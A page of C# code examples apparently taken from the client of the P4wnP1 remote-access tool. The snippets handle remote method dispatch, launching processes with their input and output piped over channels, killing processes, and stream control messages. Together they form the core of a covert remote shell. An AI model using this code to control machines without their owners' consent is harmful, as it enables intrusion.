Пример #1
0
        private byte[] core_open_stream_channel(byte[] args)
        {
            List <byte> request          = new List <byte>(args);
            int         stream_id        = Struct.extractInt32(request);
            byte        passthrough_byte = Struct.extractByte(request);
            bool        passthrough      = false;

            if (passthrough_byte == 1)
            {
                passthrough = true;
            }

            // check if stream is present
            bool exists = this.hasStream(stream_id);

            if (!exists)
            {
                throw new Exception(String.Format("Stream with ID '{0}' doesn't exist", stream_id));
            }

            // create stream channel
            Stream        stream = this.getStream(stream_id);
            StreamChannel sc     = new StreamChannel(stream, this.callbackChannelOutputPresent, this.triggerProcessingNeeded, passthrough);

            //add stream channel to transport layer channels
            this.AddChannel(sc);

            //return stream id
            UInt32      result   = sc.ID;
            List <byte> response = Struct.packUInt32(result);

            return(response.ToArray());
        }
Пример #2
0
        private byte[] core_create_proc(byte[] args)
        {
            List <byte> data = new List <byte>(args);

            // first byte indicates if STDIN, STDOUT and STDERR should be streamed to channels
            bool   use_channels  = (Struct.extractByte(data) != 0);
            string proc_filename = Struct.extractNullTerminatedString(data);
            string proc_args     = Struct.extractNullTerminatedString(data);

            ClientProcess proc = new ClientProcess(proc_filename, proc_args, use_channels, this.callbackChannelOutputPresent, this.triggerProcessingNeeded); //starts the process already

            proc.registerOnExitCallback(this.onProcessExit);


            if (use_channels)
            {
                this.AddChannel(proc.Ch_stdin);
                this.AddChannel(proc.Ch_stdout);
                this.AddChannel(proc.Ch_stderr);


                /*
                 * proc.Ch_stdin = this.tl.CreateChannel(Channel.Types.IN, Channel.Encodings.UTF8);
                 * proc.Ch_stdout = this.tl.CreateChannel(Channel.Types.OUT, Channel.Encodings.UTF8);
                 * proc.Ch_stderr = this.tl.CreateChannel(Channel.Types.OUT, Channel.Encodings.UTF8);
                 */
            }



            //generate method response
            List <byte> resp = Struct.packUInt32((UInt32)proc.Id);

            if (use_channels)
            {
                resp = Struct.packByte(1, resp);
                resp = Struct.packUInt32(proc.Ch_stdin.ID, resp);
                resp = Struct.packUInt32(proc.Ch_stdout.ID, resp);
                resp = Struct.packUInt32(proc.Ch_stderr.ID, resp);
            }
            else
            {
                resp = Struct.packByte(0, resp);
                resp = Struct.packUInt32(0, resp);
                resp = Struct.packUInt32(0, resp);
                resp = Struct.packUInt32(0, resp);
            }

            Monitor.Enter(this.pendingClientProcessesLock);
            this.pending_client_processes.Add(proc.Id, proc);
            Monitor.Exit(this.pendingClientProcessesLock);

            //throw new ClientMethodException(String.Format("Not implemented: Trying to start proc '{0}' with args: {1}", proc_filename, proc_args));
            return(resp.ToArray());
        }
Пример #3
0
        public void SendControlMessage(UInt32 msg_type, byte[] data)
        {
            List <byte> msg = Struct.packUInt32(msg_type);

            if (data != null)
            {
                msg = Struct.packByteArray(data, msg);
            }


            this.control_channel.write(msg.ToArray());
        }
Пример #4
0
        private byte[] core_kill_proc(byte[] args)
        {
            UInt32 proc_id = Struct.extractUInt32(new List <byte>(args));

            //check if proc ID exists (for now only managed procs)
            if (this.pending_client_processes.Contains((int)proc_id))
            {
                ((ClientProcess)this.pending_client_processes[(int)proc_id]).kill();
                //return Struct.packNullTerminatedString(String.Format("Sent kill signal to process with ID {0}", proc_id)).ToArray();
                return(Struct.packUInt32(proc_id).ToArray()); // return process id on success
            }
            else
            {
                throw new ClientMethodException(String.Format("Process with ID {0} not known. Kill signal hasn't been sent", proc_id));
                //return Struct.packNullTerminatedString(String.Format("Process with ID {0} not known. Kill signal hasn't been sent", proc_id)).ToArray();
            }
        }
        public byte[] createResponse()
        {
            // this function should only be called when the method has finished (finished member == $true), but anyway, this isn't checked here

            // first response field is uint32 method id
            List <byte> response = Struct.packUInt32(this.id);

            // next field is a ubyte indicating success or error (0 success, everything else error)
            if (this.error)
            {
                response = Struct.packByte((byte)1, response);                            // indicating an error
                response = Struct.packNullTerminatedString(this.error_message, response); //append error message
                return(response.ToArray());                                               // hand back error response
            }

            response = Struct.packByte((byte)0, response); // add success field
            response = Struct.packByteArray(this.result, response);

            return(response.ToArray()); // return result
        }
        private void dispatchControlMessage(List <byte> msg)
        {
            /*
             * This method is called from the input thread (not the processing thread), so time consuming or
             * blocking tasks mustn't be run here
             */
            CH_MSG_TYPE ch_msg_type = (CH_MSG_TYPE)Struct.extractUInt32(msg);

            switch (ch_msg_type)
            {
            case CH_MSG_TYPE.CHANNEL_CONTROL_REQUEST_STATE:
                Console.WriteLine(String.Format("Received STATE request for StreamChannel {0}", this.ID));
                break;

            case CH_MSG_TYPE.CHANNEL_CONTROL_REQUEST_FLUSH:
                Console.WriteLine(String.Format("Received FLUSH request for StreamChannel {0}", this.ID));
                stream.Flush();

                //return message, stating that everything has been written (should be handed by output thread)
                List <byte> flush_response = Struct.packUInt32((UInt32)StreamChannel.CH_MSG_TYPE.CHANNEL_CONTROL_INFORM_FLUSH_SUCCEEDED);
                this.writeControlMessage(flush_response);

                break;

            case CH_MSG_TYPE.CHANNEL_CONTROL_REQUEST_CLOSE:
                Console.WriteLine(String.Format("Received CLOSE request for StreamChannel {0}", this.ID));
                this.shouldBeClosed = true;     //no processing overhead
                break;

            case CH_MSG_TYPE.CHANNEL_CONTROL_REQUEST_POSITION:
                Console.WriteLine(String.Format("Received POSITION request for StreamChannel {0}", this.ID));
                break;

            case CH_MSG_TYPE.CHANNEL_CONTROL_REQUEST_LENGTH:
                Console.WriteLine(String.Format("Received LENGTH request for StreamChannel {0}", this.ID));
                break;

            case CH_MSG_TYPE.CHANNEL_CONTROL_REQUEST_READ_TIMEOUT:
                Console.WriteLine(String.Format("Received READ_TIMEOUT request for StreamChannel {0}", this.ID));
                break;

            case CH_MSG_TYPE.CHANNEL_CONTROL_REQUEST_WRITE_TIMEOUT:
                Console.WriteLine(String.Format("Received WRITE_TIMEOUT request for StreamChannel {0}", this.ID));
                break;

            case CH_MSG_TYPE.CHANNEL_CONTROL_REQUEST_SEEK:
                int offset = Struct.extractInt32(msg);
                int origin = Struct.extractInt32(msg);
                Console.WriteLine(String.Format("Received SEEK request for StreamChannel {0}, count {1}, timeout {2}", this.ID, offset, origin));
                break;

            case CH_MSG_TYPE.CHANNEL_CONTROL_REQUEST_WRITE:
                int    size          = Struct.extractInt32(msg);
                byte[] data_to_write = msg.ToArray();

                //the data shouldn't be written from this thread, so the operation has to be moved to processing thread
                this.stream.Write(data_to_write, 0, data_to_write.Length);

                //return message, stating that everything has been written (should be handed by output thread)
                List <byte> write_response = Struct.packUInt32((UInt32)StreamChannel.CH_MSG_TYPE.CHANNEL_CONTROL_INFORM_WRITE_SUCCEEDED);
                write_response = Struct.packInt32(data_to_write.Length, write_response);
                this.writeControlMessage(write_response);

                break;

            case CH_MSG_TYPE.CHANNEL_CONTROL_REQUEST_READ:
                int count   = Struct.extractInt32(msg);
                int timeout = Struct.extractInt32(msg);

                Console.WriteLine(String.Format("Received READ request for StreamChannel {0}, count {1}, timeout {2}", this.ID, count, timeout));


                //the data shouldn't be readen from this thread, blocking would stop the input thread (has to be done from processing thread
                if (this.readbuf.Length < count)
                {
                    this.readbuf = new byte[count];                                  //resize read buffer if needed
                }
                int         read_size = this.stream.Read(this.readbuf, 0, count);
                List <Byte> read_data = new List <byte>(this.readbuf);
                read_data.RemoveRange(read_size, this.readbuf.Length - read_size);

                //return message, stating legngth of read data and the data itself (should be handed by output thread)
                List <byte> read_response = Struct.packUInt32((UInt32)StreamChannel.CH_MSG_TYPE.CHANNEL_CONTROL_INFORM_READ_SUCCEEDED);
                read_response = Struct.packInt32(read_size, read_response);
                read_response.AddRange(read_data);
                this.writeControlMessage(read_response);

                break;

            default:
                Console.WriteLine(String.Format("Received unknown channel message for StreamChannel {0}", this.ID));
                break;
            }
        }
Пример #7
0
        public void run()
        {
            List <UInt32> method_remove_list = new List <UInt32>();

            //start input thread
            this.inputProcessingThread = new Thread(new ThreadStart(this.__processTransportLayerInput));
            this.inputProcessingThread.Start();

            this.outputProcessingThread = new Thread(new ThreadStart(this.__processTransportLayerOutput));
            this.outputProcessingThread.Start();



            while (this.running)
            {
                //this.tl.ProcessInSingle(false);

                //stop processing until sgnal is received
                while (true)
                {
                    if (this.eventDataNeedsToBeProcessed.WaitOne(100) || (!running))
                    {
                        break;
                    }
                }

                //re-check if we are still running (eraly out)
                if (!running)
                {
                    break;
                }

                /*
                 * process  channels (removing + heavy tasks)
                 *
                 */

                //check for closed channels
                Monitor.Enter(this.lockChannels);
                ICollection keys = this.outChannels.Keys;
                foreach (Object key in keys)
                {
                    Channel channel = (Channel)this.outChannels[key];
                    if (channel.shouldBeClosed && !channel.CloseRequestedForRemote)
                    {
                        Console.WriteLine(String.Format("OUT channel {0}, requesting close from server", channel.ID));
                        this.SendControlMessage(Client.CTRL_MSG_FROM_CLIENT_CHANNEL_SHOULD_CLOSE, Struct.packUInt32(channel.ID).ToArray());
                        channel.CloseRequestedForRemote = true;
                    }
                    if (channel.CloseRequestedForLocal)
                    {
                        this.channelsToRemove.Add(channel);
                    }
                    //processing for out channel in else branch
                }
                keys = this.inChannels.Keys;
                foreach (Object key in keys)
                {
                    Channel channel = (Channel)this.inChannels[key];
                    if (channel.shouldBeClosed && !channel.CloseRequestedForRemote)
                    {
                        Console.WriteLine(String.Format("IN channel {0}, requesting close from server", channel.ID));
                        this.SendControlMessage(Client.CTRL_MSG_FROM_CLIENT_CHANNEL_SHOULD_CLOSE, Struct.packUInt32(channel.ID).ToArray());
                        channel.CloseRequestedForRemote = true;
                    }
                    if (channel.CloseRequestedForLocal)
                    {
                        //check if not already in remove list, because handled as outChannel
                        if (!this.channelsToRemove.Contains(channel))
                        {
                            this.channelsToRemove.Add(channel);
                        }
                    }
                    //processing for in channel in else branch
                }

                //remove closed channels
                foreach (Channel channel in this.channelsToRemove)
                {
                    if (this.inChannels.Contains(channel.ID))
                    {
                        this.inChannels.Remove(channel.ID);
                    }
                    if (this.outChannels.Contains(channel.ID))
                    {
                        this.outChannels.Remove(channel.ID);
                    }
                    channel.onClose();
                    Console.WriteLine(String.Format("Channel {0} closed", channel.ID));
                    this.SendControlMessage(Client.CTRL_MSG_FROM_CLIENT_CHANNEL_CLOSED, Struct.packUInt32(channel.ID).ToArray());
                }
                channelsToRemove.Clear();

                //if the channel itself needs processing (not input or output) do it here

                Monitor.Exit(this.lockChannels);

                /*
                 * remove exited processes
                 */
                Monitor.Enter(this.exitedProcessesLock);
                foreach (ClientProcess cproc in this.exitedProcesses)
                {
                    Monitor.Enter(this.pendingClientProcessesLock);
                    this.pending_client_processes.Remove(cproc.Id);
                    cproc.Dispose();
                    Monitor.Exit(this.pendingClientProcessesLock);

                    //ToDo: inform client about process removement
                    this.SendControlMessage(Client.CTRL_MSG_FROM_CLIENT_PROCESS_EXITED, (Struct.packUInt32((UInt32)cproc.Id)).ToArray());

                    //ToDo: destroy channels and inform client
                }
                this.exitedProcesses.Clear();
                Monitor.Exit(this.exitedProcessesLock);

                /*
                 * Process running methods
                 */
                Monitor.Enter(this.pendingMethodCallsLock);

                ICollection method_ids = this.pending_method_calls.Keys;
                foreach (UInt32 method_id in method_ids)
                {
                    if (this.pending_method_calls.ContainsKey(method_id)) //we have to recheck if the method still exists in every iteration
                    {
                        ClientMethod method = (ClientMethod)this.pending_method_calls[method_id];


                        //check if method has been started, do it if not
                        if (!method.started)
                        {
                            //find method implementation
                            MethodInfo method_implementation = this.GetType().GetMethod(method.name, BindingFlags.NonPublic | BindingFlags.Instance);

                            if (method_implementation != null)
                            {
                                try
                                {
                                    byte[] method_result = (byte[])method_implementation.Invoke(this, new Object[] { method.args });
                                    method.setResult(method_result);
                                }
                                catch (ClientMethodException e)
                                {
                                    method.setError(String.Format("Method '{0}' throwed error:\n{1}", method.name, e.Message));
                                }
                                catch (Exception e)
                                {
                                    method.setError(String.Format("'{0}' exception:\n{1}", method.name, e.InnerException.Message));
                                    Console.WriteLine("Catch block of Method invocation");
                                }
                            }
                            else
                            {
                                method.setError(String.Format("Method '{0}' not found!", method.name));
                            }
                        }

                        if (method.finished)
                        {
                            //Enqueue response and remove method from pending ones
                            byte[] response = method.createResponse();
                            this.SendControlMessage(Client.CTRL_MSG_FROM_CLIENT_RUN_METHOD_RESPONSE, response);
                            //this.pending_method_calls.Remove(method_id);

                            //add method to remove list
                            method_remove_list.Add(method_id);
                        }
                    }
                }
                Monitor.Exit(this.pendingMethodCallsLock);

                //remove finished methods
                Monitor.Enter(this.pendingMethodCallsLock);
                foreach (UInt32 method_id in method_remove_list)
                {
                    this.pending_method_calls.Remove(method_id);
                }
                Monitor.Exit(this.pendingMethodCallsLock);
            }
        }
Пример #8
0
        private void __processTransportLayerOutput()
        {
            while (this.running)
            {
                //stop processing until signal is received
                while (true)
                {
                    if (this.eventChannelOutputNeedsToBeProcessed.WaitOne(100) || !this.running)
                    {
                        break;
                    }
                }


                //abort if we aren't in run state anymore
                if (!this.running)
                {
                    return;
                }

                Monitor.Enter(this.lockChannels);
                ICollection keys = this.outChannels.Keys;

                Console.WriteLine(String.Format("Out channel count {0}", keys.Count));

                foreach (Object key in keys)
                {
                    Channel channel = (Channel)this.outChannels[key];

                    //while (channel.hasPendingOutData())
                    if (channel.hasPendingOutData()) //we only process a single chunk per channel (load balancing) and we only deliver data if the channel is linked
                    {
                        UInt32 ch_id = (UInt32)channel.ID;

                        if ((ch_id == 0) || channel.isLinked) // send output only if channel is linked (P4wnP1 knows about it) or it is the control channel (id 0)
                        {
                            byte[] data = channel.DequeueOutput();

                            List <byte> stream = Struct.packUInt32(ch_id);
                            stream = Struct.packByteArray(data, stream);

                            //Console.WriteLine("TransportLayer: trying to push channel data");

                            if (ch_id == 0)
                            {
                                this.tl.writeOutputStream(stream.ToArray(), false);
                            }
                            else
                            {
                                this.tl.writeOutputStream(stream.ToArray(), true);
                            }
                        }
                    }

                    if (channel.hasPendingOutData())
                    {
                        this.eventChannelOutputNeedsToBeProcessed.Set();                              //reenable event, if there's still data to process
                    }
                }
                Monitor.Exit(this.lockChannels);
            }
        }